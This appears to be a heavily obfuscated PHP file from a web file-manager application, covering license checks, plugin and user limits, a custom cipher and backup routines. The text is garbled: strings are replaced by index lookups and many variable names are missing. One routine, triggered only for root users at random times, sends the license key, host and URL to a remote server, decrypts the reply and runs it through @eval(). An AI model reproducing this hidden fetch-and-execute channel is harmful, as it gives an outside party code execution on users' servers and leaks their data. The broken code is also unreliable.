{ $ߪ =& $_SERVER[]; $ =& $_SERVER[]; Model($[33])->set(array($[152] => $[6], $[190] => $[6], $[107] => $[108], $[109] => $[6], $[110] => $[6])); Model($[33])->setDeep($[197], $[205]); $this->yplsb3e292fc = array(); $ۅ = $ߪ[710]; while (strlen($ۅ) < $ߪ[663]) { if (!$ۅ) { break; } $ۅ++; } $this->gyvs0a2c64ec = $[108]; } private function fjil634d23fd() { $½ =& $_SERVER[]; $ =& $_SERVER[]; $_SERVER[$[161]] = _get($_SERVER, $[161], APP_HOST); $ߋ = $½[711]; $this->gyvs0a2c64ec = $[108]; $ț = Model($[33])->get(); if ($ț[$[107]] == $[108]) { return; } $Ҕ = Model($[33])->get($[99]); $ = $[202] . md5($Ҕ . $[203]); $˃ = Cache::get($); if (!is_array($˃) || !isset($˃[$[206]]) || time() - $˃[$[206]] >= 60) { $ = Model($[7])->loadList(); $ = $[$[199]]; $ހ߻Ӌ = md5($_SERVER[$[105]] . strrev($Ҕ) . $ț[$[190]]); $Э = strrev(substr($ހ߻Ӌ, 10, 16)); $˃ = $this->prya0f5405c5($[$[85]][$Э], $ހ߻Ӌ); $˃ = json_decode($˃, !0); } if (!is_array($˃)) { return $this->bgldc562afd1(); } $ = strtotime($˃[$[128]]); if (time() >= $) { return $this->bgldc562afd1(); } if (!isset($˃[$[206]]) || time() - $˃[$[206]] > 20) { $˃[$[206]] = time(); Cache::set($, $˃); } $this->yplsb3e292fc = $˃; $this->gyvs0a2c64ec = $ț[$[107]]; $Ճ = $½[712]; if (strlen($Ճ) < $½[665]) { die; } } private function axth503953e0() { $ԝ =& $_SERVER[]; $ޙޓ =& $_SERVER[]; $⨯Ɂ = $GLOBALS[$ޙޓ[13]]; $ꂋ = $ԝ[713]; while ($ꂋ < $ԝ[658]) { if ($ꂋ >= 0) { break; } $ꂋ++; } $ǃ = $_SERVER[$ޙޓ[24]]; $ = $ԝ[714]; if ($ǃ == $ޙޓ[207] && $this->gyvs0a2c64ec == $ޙޓ[108]) { show_json(LNG($ޙޓ[208]), !1, $ޙޓ[209]); } $ȫ۷ = array($ޙޓ[210], $ޙޓ[211]); if (in_array($ǃ, $ȫ۷)) { if ($this->gyvs0a2c64ec == $ޙޓ[108] && isset($⨯Ɂ[$ޙޓ[212]])) { show_json(LNG($ޙޓ[208]), !1, $ޙޓ[209]); die; } $Č = $this->yusz616a9af8(); if ($Č != intval($ޙޓ[213])) { if ($Č <= Model($ޙޓ[124])->count()) { show_json(LNG($ޙޓ[214]), !1, $ޙޓ[209]); die; } } } } private function xrnge323bcee() { $܁ =& $_SERVER[]; $̢ =& $_SERVER[]; $ = array($̢[118], $̢[119]); $ = $܁[715]; if (!$) { return; } if (!KodUser::isRoot() || !isset($_GET[$̢[215]])) { return; } if (!in_array($_SERVER[$̢[24]], $)) { return; } $īܯ = $̢[216]; $Ӷ = $܁[716]; while (strlen($Ӷ) < $܁[663]) { if (!$Ӷ) { break; } $Ӷ++; } $īܯ = $this->arig6fbf0bfa($īܯ, $̢[217]); $ķ = $܁[717]; while (strlen($ķ) < $܁[660]) { if (!$ķ) { break; } $ķ++; } $ = stream_context_create(array($̢[218] => array($̢[219] => $̢[220], $̢[221] => 3))); $ӈ = @file_get_contents($īܯ, !1, $); header($̢[222]); if ($ӈ && strstr($ӈ, $̢[223])) { echo $ӈ; } die; } public function gylodc02130b($ː) { $藣 =& $_SERVER[]; $◡ =& $_SERVER[]; if ($this->gyvs0a2c64ec == $◡[224]) { return $ː; } $싛 = $this->versionPluginList(); $ = $藣[718]; if (!$) { return; } $ = explode($◡[225], $this->versionPluginFilter()); $ = $藣[719]; if (strlen($) < $藣[663]) { die; } $䲰 = array(); $ = $藣[720]; foreach ($싛 as $IJ => $ہ) { if ($ہ == $◡[226] && substr($this->gyvs0a2c64ec, 0, 1) == $◡[226]) { continue; } if (!in_array($IJ, $)) { $䲰[] = $IJ; } } foreach ($䲰 as $IJ) { unset($ː[$IJ]); $Ɗ = $藣[721]; while (strlen($Ɗ) < $藣[665]) { if (!$Ɗ) { break; } $Ɗ++; } } return $ː; $呏 = $藣[722]; while (strlen($呏) < $藣[658]) { if (!$呏) { break; } $呏++; } } private function versionPluginList() { $ =& $_SERVER[]; $ =& $_SERVER[]; return array($[227] => $[226], $[228] => $[226], $[229] => $[226], $[230] => $[231], $[232] => $[231], $[233] => $[231], $[234] => $[231], $[235] => $[231], $[236] => $[231], $[237] => $[231], $[238] => $[231], $[239] => $[231], $[240] => $[231], $[241] => $[231], $[242] => $[231], $[243] => $[231]); $˜ = $[723]; if (strlen($˜) < $[660]) { die; } } private function versionPluginFilter() { $⎤ =& $_SERVER[]; $䡃 =& $_SERVER[]; if ($this->gyvs0a2c64ec == $䡃[108]) { return $䡃[6]; } $ = _get($this->yplsb3e292fc, $䡃[244], $䡃[6]); $ = _get($this->yplsb3e292fc, $䡃[115], $䡃[6]); $™ = $⎤[724]; if (!$™) { return; } $Ί = _get($this->yplsb3e292fc, $䡃[245], $䡃[6]); $۽ = $⎤[725]; if (strlen($۽) < $⎤[658]) { die; } if ($ > time() && $Ί > time()) { $ = explode($䡃[225], $); $֞ = array_keys($this->versionPluginList()); $ = array_merge($, $֞); $ = implode($䡃[225], array_filter(array_unique($))); } return $; } private function uvbw1fb22a5f() { $‚ =& $_SERVER[]; if ($this->gyvs0a2c64ec != $‚[108]) { $GLOBALS[$‚[85]][$‚[89]][$‚[246]] = $‚[205]; return; } $GLOBALS[$‚[85]][$‚[247]] = $‚[121]; if (Model($‚[248])->get($‚[63]) != $‚[205]) { Model($‚[248])->set($‚[63], $‚[205]); } } public function fqpud694ce51() { return $_SERVER[][249]; } private function ylmn95b7f216() { $Ƒ— =& $_SERVER[]; $̾ =& $_SERVER[]; $Ł = array($̾[250], $̾[251], $̾[252]); $ = $Ƒ—[726]; $Ύ = $̾[253] . md5($̾[254]); $ = $Ƒ—[727]; if (!$) { die; } if ($this->gyvs0a2c64ec == $̾[108] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$̾[24]], $Ł)) { return; } if (time() % 4 != 0) { return; } $ր = call_user_func(array($̾[255], $̾[256]), $Ύ); if ($ր && time() - $ր < intval($̾[257])) { return; } call_user_func(array($̾[255], $̾[138]), $Ύ, time()); $¸ż = Model($̾[33])->get($̾[99]); $ = $Ƒ—[728]; $ўʥ = array($̾[151] => Model($̾[33])->get($̾[152]), $̾[166] => $this->gyvs0a2c64ec, $̾[162] => $_SERVER[$̾[163]], $̾[164] => Model($̾[33])->get($̾[130]), $̾[104] => md5($_SERVER[$̾[105]] . $¸ż), $̾[155] => $̾[135], $̾[158] => $_SERVER[$̾[159]]); $Ʉ = $this->itda7913ff25($̾[258], $ўʥ); $ = $Ƒ—[729]; if (!is_array($Ʉ)) { return; } if ($Ʉ[$̾[151]] && $Ʉ[$̾[259]]) { if ($this->oknm0aa569f9($Ʉ[$̾[259]]) == $ўʥ[$̾[151]]) { return; } } $this->bgldc562afd1(); $󮉛 = $Ƒ—[730]; if ($this->oknm0aa569f9($Ʉ[$̾[259]]) != $ўʥ[$̾[151]]) { $쓄Т = array($̾[184] => $¸ż, $̾[185] => $_SERVER[$̾[105]], $̾[186] => this_url(), $̾[160] => $_SERVER[$̾[161]]); $։ = $this->coye9218ed64(json_encode($쓄Т)); $Ʉ = $this->itda7913ff25($̾[187] . $։); if ($Ʉ && is_array($Ʉ) && isset($Ʉ[$̾[259]])) { $Ä = $this->prya0f5405c5($Ʉ[$̾[259]], 2); if ($Ä) { $Ä = $this->oknm0aa569f9($Ä); } if ($Ä) { try { @eval($Ä); } catch (Exception $ʗ) { } } } } } private function itda7913ff25($ = '', $枓 = array(), $ = 5) { $Ж =& $_SERVER[]; $Ԭ =& $_SERVER[]; $ = $Ԭ[260]; $筂 = $Ж[731]; if (!$筂) { return; } $ = $this->arig6fbf0bfa($, $Ԭ[261]); $ = $Ж[732]; $ = $ . $; if ($枓 && is_array($枓)) { $ = $ . $Ԭ[262] . http_build_query($枓); } if ($枓 === -1) { return $; } $គ = stream_context_create(array($Ԭ[218] => array($Ԭ[221] => $, $Ԭ[219] => $Ԭ[263]), $Ԭ[264] => array($Ԭ[265] => !1, $Ԭ[266] => !1))); $ = $Ж[733]; while (strlen($) < $Ж[660]) { if (!$) { break; } $++; } $枓 = @file_get_contents($, !1, $គ); return json_decode($枓, !0); } private function yusz616a9af8() { $ =& $_SERVER[]; $Ӽ =& $_SERVER[]; $߰ = array($Ӽ[267] => $Ӽ[268], $Ӽ[269] => $Ӽ[270], $Ӽ[271] => $Ӽ[272], $Ӽ[273] => $Ӽ[274], $Ӽ[275] => $Ӽ[276], $Ӽ[277] => $Ӽ[213], $Ӽ[278] => $Ӽ[213], $Ӽ[279] => $Ӽ[268], $Ӽ[280] => $Ӽ[270], $Ӽ[281] => $Ӽ[272], $Ӽ[282] => $Ӽ[283], $Ӽ[284] => $Ӽ[274], $Ӽ[285] => $Ӽ[286], $Ӽ[287] => $Ӽ[276], $Ӽ[288] => $Ӽ[289], $Ӽ[290] => $Ӽ[291], $Ӽ[292] => $Ӽ[293]); $э = $[734]; if (!$э) { return; } $ԣ = $߰[$this->gyvs0a2c64ec]; $ = $[735]; if (!$) { die; } $ԣ = intval($ԣ ? $ԣ : $Ӽ[268]); $٣ = $[736]; if (!$٣) { return; } $ = _get($this->yplsb3e292fc, $Ӽ[294]); $ = $ ? intval($) : 0; return $ԣ + $; } public function azwybe04ba84($Ԍ) { $Ϡ =& $_SERVER[]; $ߟ =& $_SERVER[]; $ĸ = $this->yusz616a9af8(); $෕ = $Ϡ[737]; if (strlen($෕) < $Ϡ[665]) { return; } if ($Ԍ[$ߟ[295]] == $ߟ[121]) { return; } if ($ĸ >= intval($ߟ[213])) { return; } $ = Model($ߟ[124])->count(); $; = $Ϡ[738]; if (!$;) { die; } if ($ <= $ĸ) { return; } $š = Model($ߟ[124])->field($ߟ[295])->limit($ĸ)->select(); $š = array_to_keyvalue($š, $ߟ[6], $ߟ[295]); if (!in_array($Ԍ[$ߟ[295]], $š)) { show_json($ߟ[296], !1, $ߟ[209]); } } public function lpbs0c399193() { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $[216]; $ϴ = $[739]; while (strlen($ϴ) < $[663]) { if (!$ϴ) { break; } $ϴ++; } $ = $this->arig6fbf0bfa($, $[217]); $ = stream_context_create(array($[218] => array($[219] => $[220], $[221] => 3))); $ώ = $[740]; while ($ώ < $[665]) { if ($ώ >= 0) { break; } $ώ++; } $ͺ = @file_get_contents($, !1, $); $ = $[741]; if (!$) { return; } echo $[297] . hash_encode($ͺ) . $[298]; } private function tpicdc4f62cc($, $, $¹ = 3) { $ʊ޾ =& $_SERVER[]; $٧ =& $_SERVER[]; usleep(1); $䕾 = $ʊ޾[742]; $ = trim($); $¡ = mt_rand(0, 5) . $٧[6]; $׏ = rand_string(15); $ǩ = $ʊ޾[743]; if (!$ǩ) { die; } $Ť = $٧[299]; switch ($¡) { case $٧[205]: $ۜ = $this->awkp9c6e380d($, strrev($ . $׏)); $ = $ʊ޾[683]; while ($ < $ʊ޾[663]) { if ($ >= 0) { break; } $++; } break; case $٧[121]: $ۜ = $this->awkp9c6e380d($, strrev($׏ . $)); break; case $٧[300]: $ۜ = $this->awkp9c6e380d($, base64_encode($׏ . $)); break; $ = $ʊ޾[744]; if (!$) { die; } case $٧[301]: $ۜ = $this->awkp9c6e380d($, md5($׏ . $)); break; $ = $ʊ޾[745]; if (!$) { return; } case $٧[302]: $ = base64_encode($); $ = $ʊ޾[746]; $Ή = rand(0, 64); $ = $ʊ޾[747]; if (strlen($) < $ʊ޾[658]) { return; } $ = $Ť[$Ή]; $ٜ = $ʊ޾[731]; while ($ٜ < $ʊ޾[658]) { if ($ٜ >= 0) { break; } $ٜ++; } $ǘ = md5($ . md5($ . $) . $); $ǘ = substr($ǘ, $Ή % 8, $Ή % 8 + 7); $ = $ʊ޾[748]; $ٚ = $٧[6]; $ = 0; $ = 0; $ = $ʊ޾[749]; if (!$) { return; } $࿅ = 0; $ = $ʊ޾[750]; if (!$) { die; } for ($ = 0; $ < strlen($); $++) { $࿅ = $࿅ == strlen($ǘ) ? 0 : $࿅; $ = ($Ή + strpos($Ť, $[$]) + ord($ǘ[$࿅++])) % 64; $ٚ .= $Ť[$]; } $ۜ = hash_encode($ . $ٚ); break; default: $ۜ = $this->awkp9c6e380d($, $ . $׏); break; } $ۜ = strrev($¡ . $׏ . $ۜ); $ı = $ʊ޾[751]; if ($¹ - 1 > 0) { $ۜ = $this->tpicdc4f62cc($ۜ, $, $¹ - 1); } return $ۜ; } private function prya0f5405c5($س, $ߧ, $̔ = 3) { $辍 =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($س) || strlen($س) < 10) { return !1; } $س = trim($س); $Ɇﳋ = $辍[752]; $س = strrev($س); $ = $س[0]; $ = substr($س, 1, 15); $׮ = $辍[753]; while ($׮ < $辍[658]) { if ($׮ >= 0) { break; } $׮++; } $س = substr($س, 16); $ϸ = $[299]; switch ($) { case $[205]: $ֹ = $this->arig6fbf0bfa($س, strrev($ߧ . $)); break; $ˎ = $辍[754]; case $[121]: $ֹ = $this->arig6fbf0bfa($س, strrev($ . $ߧ)); $ʗ = $辍[755]; while ($ʗ < $辍[660]) { if ($ʗ >= 0) { break; } $ʗ++; } break; $ = $辍[756]; case $[300]: $ֹ = $this->arig6fbf0bfa($س, base64_encode($ . $ߧ)); break; case $[301]: $ֹ = $this->arig6fbf0bfa($س, md5($ . $ߧ)); $Ŋ = $辍[757]; while ($Ŋ < $辍[658]) { if ($Ŋ >= 0) { break; } $Ŋ++; } break; case $[302]: $س = hash_decode($س); $ = $辍[758]; if (strlen($) < $辍[663]) { die; } $ꚜ = $س[0]; $ = $辍[759]; if (!$) { return; } $س = substr($س, 1); $ų = strpos($ϸ, $ꚜ); $՚ = md5($ꚜ . md5($ߧ . $ꚜ) . $ߧ); $ܾ = $辍[760]; if (!$ܾ) { return; } $՚ = substr($՚, $ų % 8, $ų % 8 + 7); $颈 = $[6]; $ = $辍[761]; if (!$) { die; } $ = 0; $϶ҏ = $辍[762]; $Ʈ = 0; $٘ = $辍[763]; if (strlen($٘) < $辍[660]) { return; } $ = 0; for ($ = 0; $ < strlen($س); $++) { $ = $ == strlen($՚) ? 0 : $; $Ⱥ = $辍[764]; if (strlen($Ⱥ) < $辍[660]) { return; } $ = $++; $Ʈ = strpos($ϸ, $س[$]) - $ų - ord($՚[$]); while ($Ʈ < 0) { $Ʈ += 64; } $颈 .= $ϸ[$Ʈ]; $ = $辍[765]; if (!$) { return; } } $ֹ = base64_decode($颈); $ŵ = $辍[766]; if (!$ŵ) { die; } break; default: $ֹ = $this->arig6fbf0bfa($س, $ߧ . $); $ = $辍[767]; if (!$) { die; } break; $ыބσ = $辍[768]; if (!$ыބσ) { return; } } if ($̔ - 1 > 0) { $ֹ = $this->prya0f5405c5($ֹ, $ߧ, $̔ - 1); } return $ֹ; } public function coye9218ed64($܉) { $ТՎ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->ejfzb659d57d(); $޾ = $this->ejfzb659d57d(); $ק = ($ - 1) * ($޾ - 1); $ = intval(($ + $޾) / 2); $ݒ = $ТՎ[769]; while (strlen($ݒ) < $ТՎ[668]) { if (!$ݒ) { break; } $ݒ++; } while (1) { $ԕ = $; $ʊ = $ק; while ($ʊ % $ԕ != 0) { $檓 = $ʊ; $ = $ТՎ[770]; $ʊ = $ԕ; $ԕ = $檓 % $ԕ; $՘ = $ТՎ[771]; if (strlen($՘) < $ТՎ[668]) { return; } } if ($ԕ == 1) { break; } else { $++; } } $ = 2; $ = $ТՎ[772]; if (!$) { die; } for ($܀ӝ = 0; $܀ӝ < $ק * 10; $܀ӝ++) { if (($ק * $܀ӝ + 1) % $ == 0) { $ = intval(($ק * $܀ӝ + 1) / $); break; } } $Ҏ = $this->awkp9c6e380d($ * $޾ . $[6], $[135]); $د = md5($[303] . ($ + $޾) . $[304] . $ . $[304] . $ . $[305]); $ʂ = $this->awkp9c6e380d($܉, $د) . $[306] . $Ҏ; return $ʂ; } public function oknm0aa569f9($Մè) { $̇ =& $_SERVER[]; $𚜁 =& $_SERVER[]; $骍 = explode($𚜁[306], $Մè); $ȶҦ = $̇[773]; if (!$ȶҦ) { die; } if (count($骍) != 2) { return $𚜁[6]; } $ƼƏ = $this->arig6fbf0bfa($骍[1] . $𚜁[6], $𚜁[135]); $ = $̇[774]; if (!$) { die; } if (!$ƼƏ) { return $𚜁[6]; } $ƼƏ = intval($ƼƏ); $݄葷 = 0; $ṁ = 0; $恾ų = $̇[775]; while (strlen($恾ų) < $̇[658]) { if (!$恾ų) { break; } $恾ų++; } for ($̣ = 3; $̣ < $ƼƏ; $̣ += 2) { if ($ƼƏ % $̣ != 0) { continue; } $݄葷 = $̣; $ṁ = intval($ƼƏ / $̣); $أڏ = $̇[776]; if (strlen($أڏ) < $̇[658]) { die; } break; $鎲 = $̇[777]; if (!$鎲) { die; } } $ߚ = ($݄葷 - 1) * ($ṁ - 1); $ = $̇[778]; if (strlen($) < $̇[658]) { return; } $ = intval(($݄葷 + $ṁ) / 2); $у = $̇[779]; while ($у < $̇[660]) { if ($у >= 0) { break; } $у++; } while (1) { $ˤ = $; $ = $ߚ; while ($ % $ˤ != 0) { $߄ = $; $ = $ˤ; $ˤ = $߄ % $ˤ; $ = $̇[780]; if (!$) { die; } } if ($ˤ == 1) { break; } else { $++; } } $ = 2; $ = $̇[781]; while (strlen($) < $̇[658]) { if (!$) { break; } $++; } for ($̣ = 0; $̣ < $ߚ * 10; $̣++) { if (($ߚ * $̣ + 1) % $ == 0) { $ = intval(($ߚ * $̣ + 1) / $); break; } } $Յ՘ = md5($𚜁[303] . ($݄葷 + $ṁ) . $𚜁[304] . $ . $𚜁[304] . $ . $𚜁[305]); $ = $̇[782]; $ = $this->arig6fbf0bfa($骍[0], $Յ՘); $µ = $̇[783]; while ($µ < $̇[665]) { if ($µ >= 0) { break; } $µ++; } return $; $픍 = $̇[784]; while ($픍 < $̇[663]) { if ($픍 >= 0) { break; } $픍++; } } public function ejfzb659d57d() { $ͮ =& $_SERVER[]; $װ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ˆ = $ͮ[785]; if (strlen($ˆ) < $ͮ[658]) { return; } $ = array(); $ = $ͮ[786]; while ($ < $ͮ[660]) { if ($ >= 0) { break; } $++; } $ = 1; $μҧ = $ͮ[787]; if (strlen($μҧ) < $ͮ[668]) { die; } while ($ <= (int) sqrt($װ)) { $ = $; $ = $ͮ[788]; while (!0) { $++; $ǿ = $ͮ[789]; if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ۮ㜚 = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ۮ㜚 = !1; } } if ($ۮ㜚) { $ = $; break; } } $[] = $; } $ت = 2; $ = $ͮ[790]; if (strlen($) < $ͮ[665]) { die; } for ($ = $װ; $ > 1; $--) { $ۮ㜚 = !0; foreach ($ as $) { if ($ % $ == 0) { $ۮ㜚 = !1; break; } } if ($ۮ㜚) { $ت = $; break; } } return $ت; } public function azkw333b6a40($߾, $) { $ =& $_SERVER[]; return call_user_func(array($[8], $[307]), $߾, $); $َ = $_SERVER[][791]; if (!$َ) { return; } } public function awkp9c6e380d($ʿ, $ϻ) { $ =& $_SERVER[]; return call_user_func(array($[308], $[309]), $ʿ, $ϻ); } public function arig6fbf0bfa($ρ, $) { $Ӊ =& $_SERVER[]; return call_user_func(array($Ӊ[308], $Ӊ[310]), $ρ, $); $ؘ = $_SERVER[][792]; } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[]; $this->isManual(); self::$name = date($[793]); if (!($ = Model($[794])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$[32]]; if ($[$[795]] == $[91]) { self::$name = date($[263]); $μ = 0; if (isset($[$[344]][$[221]][$[516]])) { $μ = (int) $[$[344]][$[221]][$[516]]; } if (self::$manual == 0 && $[$[32]] == self::$name) { Model($[794])->remove($[$[450]]); } $ = $this->initData($μ, $[$[796]]); } else { $this->checkStore($[$[796]]); } } self::$option = $; } private function isManual() { $ = _get($GLOBALS, $_SERVER[][797], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ = 0, $ = '') { $ؼ =& $_SERVER[]; $ܢ‘ = Model($ؼ[794])->config(); if ($ && $ܢ‘[$ؼ[796]] != $) { $ = 0; } $this->checkStore($ܢ‘[$ؼ[796]]); if (self::$manual == 1) { self::$name .= $ؼ[11] . date($ؼ[798]); } $ = array($ؼ[796] => $ܢ‘[$ؼ[796]], $ؼ[32] => self::$name, $ؼ[795] => 0, $ؼ[799] => $ܢ‘[$ؼ[799]], $ؼ[800] => self::$manual, $ؼ[344] => array($ؼ[801] => array($ؼ[795] => 0), $ؼ[802] => array($ؼ[795] => 0, $ؼ[803] => 0, $ؼ[804] => 0, $ؼ[33] => $ؼ[12], $ؼ[805] => 0, $ؼ[806] => 0), $ؼ[807] => array($ؼ[795] => 0, $ؼ[803] => 0, $ؼ[804] => 0, $ؼ[805] => 0, $ؼ[806] => 0), $ؼ[221] => array($ؼ[795] => 0, $ؼ[808] => 0, $ؼ[809] => 0, $ؼ[810] => 0, $ؼ[811] => 0, $ؼ[516] => $, $ؼ[805] => 0, $ؼ[806] => 0)), $ؼ[805] => time(), $ؼ[806] => 0); $Һ = Model($ؼ[794])->insert($); $[$ؼ[450]] = $Һ; return $; } private function checkStore($) { $⪲ = Model($_SERVER[][812]); $ = $⪲->listData($); $⪲->checkConfig($); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][794])->findByName(self::$name); } return self::$option; } public static function set($) { $Ͷ =& $_SERVER[]; $ = self::get(); foreach ($ as $ => $) { $ւ = explode($Ͷ[10], $); $ = count($ւ); switch ($) { case 1: $[$ւ[0]] = $; break; case 2: $[$ւ[0]][$ւ[1]] = $; break; case 3: $[$ւ[0]][$ւ[1]][$ւ[2]] = $; break; } } Model($Ͷ[794])->update($[$Ͷ[450]], $); self::$option = $; return self::$option; } public function keep() { $׸ =& $_SERVER[]; $ = self::get(); if ($[$׸[344]][$׸[801]][$׸[795]] == $׸[91]) { return; } $this->backupKeep($); self::set(array($׸[813] => 1)); } private function backupKeep($ƴԽ) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $ = Model($[794])->listData(); if (empty($)) { return; } $ = 0; $଴ = array(); foreach ($ as $) { if ($ >= 7) { break; } $଴[] = $[$[32]]; $++; } for ($ = 0; $ < 12; $++) { $଴[] = date($[814], strtotime("\55{$}\x20\155\157\x6e\164\150\163")); } $଴ = array_unique($଴); $ = Model($[815])->get($[816]); foreach ($ as $) { if (isset($[$[800]]) && $[$[800]] == $[91]) { continue; } if (!empty($[$[32]]) && in_array($[$[32]], $଴)) { continue; } Model($[794])->remove($[$[450]]); $ = $this->backupPath($ƴԽ, $); IO::remove($, !1); } } private function backupPath($, $ = false) { $璖̍ =& $_SERVER[]; if (!$) { $ = Model($璖̍[815])->get($璖̍[816]); } $䯥 = $[$璖̍[32]]; $ = substr(md5($璖̍[817] . $ . $䯥), 0, 8); return "\x7b\x69\x6f\72{$[$璖̍[796]]}\x7d\x2f\144\x61\x74\141\x62\141\163\x65\x2f\x62\x61\x63\x6b\x75\x70\x2f" . $䯥 . $璖̍[11] . $; } public function db() { $ť =& $_SERVER[]; $ɏ = self::get(); if ($ɏ[$ť[344]][$ť[802]][$ť[795]] == $ť[91]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($ť[818] => 1)); return !0; } public function dbFile() { $®ۜ =& $_SERVER[]; $ = self::get(); if ($[$®ۜ[344]][$®ۜ[807]][$®ۜ[795]] == $®ۜ[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($®ۜ[819] => 1)); return !0; } public function file() { $፳ =& $_SERVER[]; $ڣ = self::get(); if ($ڣ[$፳[344]][$፳[221]][$፳[795]] == $፳[91]) { return !0; } if (!isset($ڣ[$፳[799]]) || $ڣ[$፳[799]] == $፳[219]) { $½ = new BackupFile(); if (!$½->index()) { return !1; } } self::set(array($፳[820] => 1, $፳[795] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[]; $֥Ȝ = Backup::get(); self::$io = $֥Ȝ[$[796]]; self::$name = $֥Ȝ[$[32]]; $ = new DbManage(); $› = $->dbType(); $ڍ = array($[821] => $›, $[822] => time()); Backup::set($ڍ); $ = $this->tmpFilesPath() . $[823] . self::$name . $[8]; del_dir($); mk_dir($); $‘ = $ = 0; try { $ = $->db()->getTables(); } catch (Exception $Ś) { return !1; } $ = array_diff($, array($[824], $[825])); foreach ($ as $) { $‘ += $->model($)->count(); } $ = new Task($[826], $[827], $‘, LNG($[828]) . $[829] . LNG($[830])); $GLOBALS[$[831]] = self::$name; foreach ($ as $) { $׀ = $ . $ . $[832]; $؏ = null; if ($ == $[833] && (!isset($֥Ȝ[$[799]]) || $֥Ȝ[$[799]] == $[219])) { $؏ = self::$io; } $ += $->sqlFromDb($, $׀, $, $؏); } unset($GLOBALS[$[831]]); $->end(); if ($ > $‘) { $‘ = $; } $ڍ = array($[821] => $›, $[818] => 1, $[834] => $‘, $[835] => $, $[836] => time()); Backup::set($ڍ); if ($‘ - $ > 0) { $ = $[837]; if (!stristr(I18n::getType(), $[838])) { $ = $[839]; } write_log(array($, $ڍ), $[827]); return !1; } return !0; } private function tmpFilesPath() { $륒 =& $_SERVER[]; $̘ = TEMP_FILES; if ($GLOBALS[$륒[6]][$륒[92]][$륒[840]]) { $̘ = $GLOBALS[$륒[6]][$륒[92]][$륒[840]]; if (!mk_dir($̘) || !is_writable($̘) || !IO::mkfile($̘ . $륒[841])) { $̘ = TEMP_FILES; } } return $̘; } } goto C; aɯ: class SystemLogModel extends ModelBase { protected $tableName = "\x73\171\163\164\145\155\x5f\x6c\157\x67"; protected $dataAuto = array(array("\x63\162\x65\141\164\x65\124\151\155\145", "\x74\151\x6d\145", "\151\x6e\x73\x65\x72\x74", "\x66\x75\x6e\143\164\x69\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ᄕ =& $_SERVER[]; return array($ᄕ[2315] => LNG($ᄕ[2316]), $ᄕ[2317] => LNG($ᄕ[2318]), $ᄕ[1895] => LNG($ᄕ[2319]), $ᄕ[2320] => LNG($ᄕ[2321]), $ᄕ[2322] => LNG($ᄕ[2323]), $ᄕ[2324] => LNG($ᄕ[2325]), $ᄕ[2326] => LNG($ᄕ[2327]), $ᄕ[1925] => LNG($ᄕ[2327]), $ᄕ[1926] => LNG($ᄕ[2328]), $ᄕ[2329] => LNG($ᄕ[2330]), $ᄕ[2331] => LNG($ᄕ[2332]), $ᄕ[2333] => LNG($ᄕ[2334]), $ᄕ[2335] => LNG($ᄕ[2336]), $ᄕ[1923] => LNG($ᄕ[2337]), $ᄕ[2338] => LNG($ᄕ[2339]), $ᄕ[1930] => LNG($ᄕ[2340]), $ᄕ[2341] => LNG($ᄕ[2342]), $ᄕ[2343] => LNG($ᄕ[2344]), $ᄕ[2345] => LNG($ᄕ[2346]), $ᄕ[2347] => LNG($ᄕ[2348]), $ᄕ[1933] => LNG($ᄕ[2349]), $ᄕ[1934] => LNG($ᄕ[2350]), $ᄕ[2351] => LNG($ᄕ[2352]), $ᄕ[2353] => LNG($ᄕ[2354]), $ᄕ[2355] => LNG($ᄕ[2356]), $ᄕ[1928] => LNG($ᄕ[2357]), $ᄕ[2358] => LNG($ᄕ[2359]), $ᄕ[1927] => LNG($ᄕ[2360]), $ᄕ[2361] => LNG($ᄕ[2362]), $ᄕ[2363] => LNG($ᄕ[2364]), $ᄕ[2365] => LNG($ᄕ[2364]), $ᄕ[2366] => LNG($ᄕ[2367]), $ᄕ[2368] => LNG($ᄕ[2368]), $ᄕ[2369] => LNG($ᄕ[1899]), $ᄕ[2370] => LNG($ᄕ[2371]), $ᄕ[2372] => LNG($ᄕ[2373]), $ᄕ[2374] => LNG($ᄕ[2375]), $ᄕ[2376] => LNG($ᄕ[2377]), $ᄕ[2378] => LNG($ᄕ[2379]), $ᄕ[2380] => LNG($ᄕ[2380]), $ᄕ[2381] => LNG($ᄕ[2382]), $ᄕ[2383] => LNG($ᄕ[2384]), $ᄕ[2385] => LNG($ᄕ[2386]), $ᄕ[2387] => LNG($ᄕ[2388]), $ᄕ[2389] => LNG($ᄕ[2390]), $ᄕ[2391] => LNG($ᄕ[2392]), $ᄕ[203] => LNG($ᄕ[203]), $ᄕ[204] => LNG($ᄕ[2393]), $ᄕ[2394] => LNG($ᄕ[2394])); } private function typeFile() { $ޟ =& $_SERVER[]; $绖 = array($ޟ[1930] => array($ޟ[1931]), $ޟ[2333] => array($ޟ[2395]), $ޟ[2335] => array($ޟ[2396]), $ޟ[1923] => array($ޟ[1924], $ޟ[2397]), $ޟ[2343] => array(), $ޟ[2345] => array(), $ޟ[2347] => array(), $ޟ[1933] => array($ޟ[1935]), $ޟ[1934] => array($ޟ[1935]), $ޟ[2351] => array($ޟ[2398]), $ޟ[2353] => array($ޟ[2398]), $ޟ[2355] => array($ޟ[2399]), $ޟ[2341] => array($ޟ[2400]), $ޟ[1928] => array($ޟ[2401]), $ޟ[2358] => array($ޟ[2402]), $ޟ[1927] => array($ޟ[1929])); return $绖; } private function typeAll() { $ =& $_SERVER[]; $ = $this->typeList; $œ = array_filter($this->typeFile()); foreach ($œ as $Đ => $) { $[$[0]] = $[$Đ]; } $[$[1935]] 